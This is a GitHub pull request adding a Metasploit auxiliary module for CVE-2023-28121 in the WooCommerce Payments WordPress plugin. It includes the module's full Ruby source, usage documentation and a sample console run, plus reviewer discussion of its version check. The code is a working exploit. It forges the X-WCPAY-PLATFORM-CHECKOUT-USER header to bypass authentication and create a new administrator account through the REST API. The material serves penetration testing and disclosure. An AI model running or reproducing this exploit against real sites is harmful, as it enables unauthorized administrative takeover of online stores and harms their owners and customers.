Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WooCommerce Payments auth bypass and priv esc #18164

Merged
merged 10 commits into from
Jul 10, 2023
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -57,3 +57,4 @@ woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
## Vulnerable Application
WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1,
5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1,
5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number
within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API
to create a new user with administrative privileges on the target WordPress site IF the user ID
selected corresponds to an administrator account.

### Install

Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip)

No configuration is required, and one does not need to install the main WooCommerce platform itself.

## Verification Steps

1. Install the plugin
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user`
1. Do: `set username [username]`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. A new WordPress administrator account should be created.
1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively.

## Options

### USERNAME

The username to create. Default is `msfadmin`.

### PASSWORD

The password for the user. Default is to create a random one.

### EMAIL

The email address for the user. Default is to create a random one.

### ADMINID

The user ID number for an WordPress administrator. Defaults to `1`.
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved

## Scenarios

### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2

```
msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die
username => h00die
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit
[*] Running module against 1.1.1.1

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt
[*] Found version 5.6.1 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ ([email protected])
[+] User was created successfully
[*] Auxiliary module execution completed
```
158 changes: 158 additions & 0 deletions modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation',
'Description' => %q{
WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1,
5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1,
5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number
within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API
to create a new user with administrative privileges on the target WordPress site IF the user ID
selected corresponds to an administrator account.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Michael Mazzolini', # original discovery
'Julien Ahrens' # detailed writeup
],
'References' => [
['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'],
['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'],
['CVE', '2023-28121']
],
'DisclosureDate' => '2023-03-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'User to create', '']),
OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']),
OptString.new('EMAIL', [false, 'Email to create, random if blank', '']),
OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]),
OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/'])
]
)
end

def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end

vuln_versions = [
['4.8', '4.8.2'],
['4.9', '4.9.1'],
['5.0', '5.0.4'],
['5.1', '5.1.3'],
['5.2', '5.2.2'],
['5.3', '5.3.1'],
['5.4', '5.4.1'],
['5.5', '5.5.2'],
['5.6', '5.6.2']
]

vuln_versions.each do |versions|
introduced = versions[0]
fixed = versions[1]
checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced)
Copy link
Contributor

@adfoster-r7 adfoster-r7 Jul 10, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

From a quick glance, it looks like this will make multiple requests out, is that something we want to do? Wondering is there a more elegant way to achieve this, i.e. a richer API that makes the single HTTP request, and offers a way to check the impacted versions 👀

Edit: Just seeing this message now, I guess you're wanting to call that out of scope then 😄

I just looped through each vuln set [..] Its also very noisy, loading the same file over and over again, but wordpress sites get hit by so much garbage that it'll just blend in with the noise.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I had edited the message to include that, that's why it needed to be re-read.

Yea, I consider editing the Library and cross testing that with some other modules to ensure backwards compatibility, and writing a spec to be outside the scope of this module. The current implementation is a little ugly, true, but it gets the job done accurately. It's the best I can do w/ the tools given.

I don't mind writing up an issue though to at least document the library needs to be fixed

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds good to me 👍

if checkcode == Exploit::CheckCode::Appears
return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable')
end
end

Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed')
end

def run
password = datastore['PASSWORD']
if datastore['PASSWORD'].blank?
password = Rex::Text.rand_text_alphanumeric(10..15)
end

email = datastore['EMAIL']
if datastore['EMAIL'].blank?
email = Rex::Text.rand_mail_address
end

username = datastore['USERNAME']
if datastore['USERNAME'].blank?
username = Rex::Text.rand_text_alphanumeric(5..20)
end

print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})")
['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites
if url_root == '/rest'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
'method' => 'POST',
'ctype' => 'application/json',
'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' },
'data' => {
'username' => username,
'email' => email,
'password' => password,
'roles' => ['administrator']
}.to_json
})
else
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'),
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'username' => username,
'email' => email,
'password' => password,
'roles' => ['administrator']
}.to_json
})
end
fail_with(Failure::Unreachable, 'Connection failed') unless res
next if res.code == 404

if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body&.match(/"username":"#{username}"/)
print_good('User was created successfully')
if framework.db.active
create_credential_and_login({
address: rhost,
port: rport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: 'WordPress',
username: username,
private_type: :password,
private_data: password,
module_fullname: fullname,
access_level: 'administrator',
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
})
end
else
print_error("Server response: #{res.body}")
end
break # we didn't get a 404 so we can bail on the 2nd attempt
end
end
end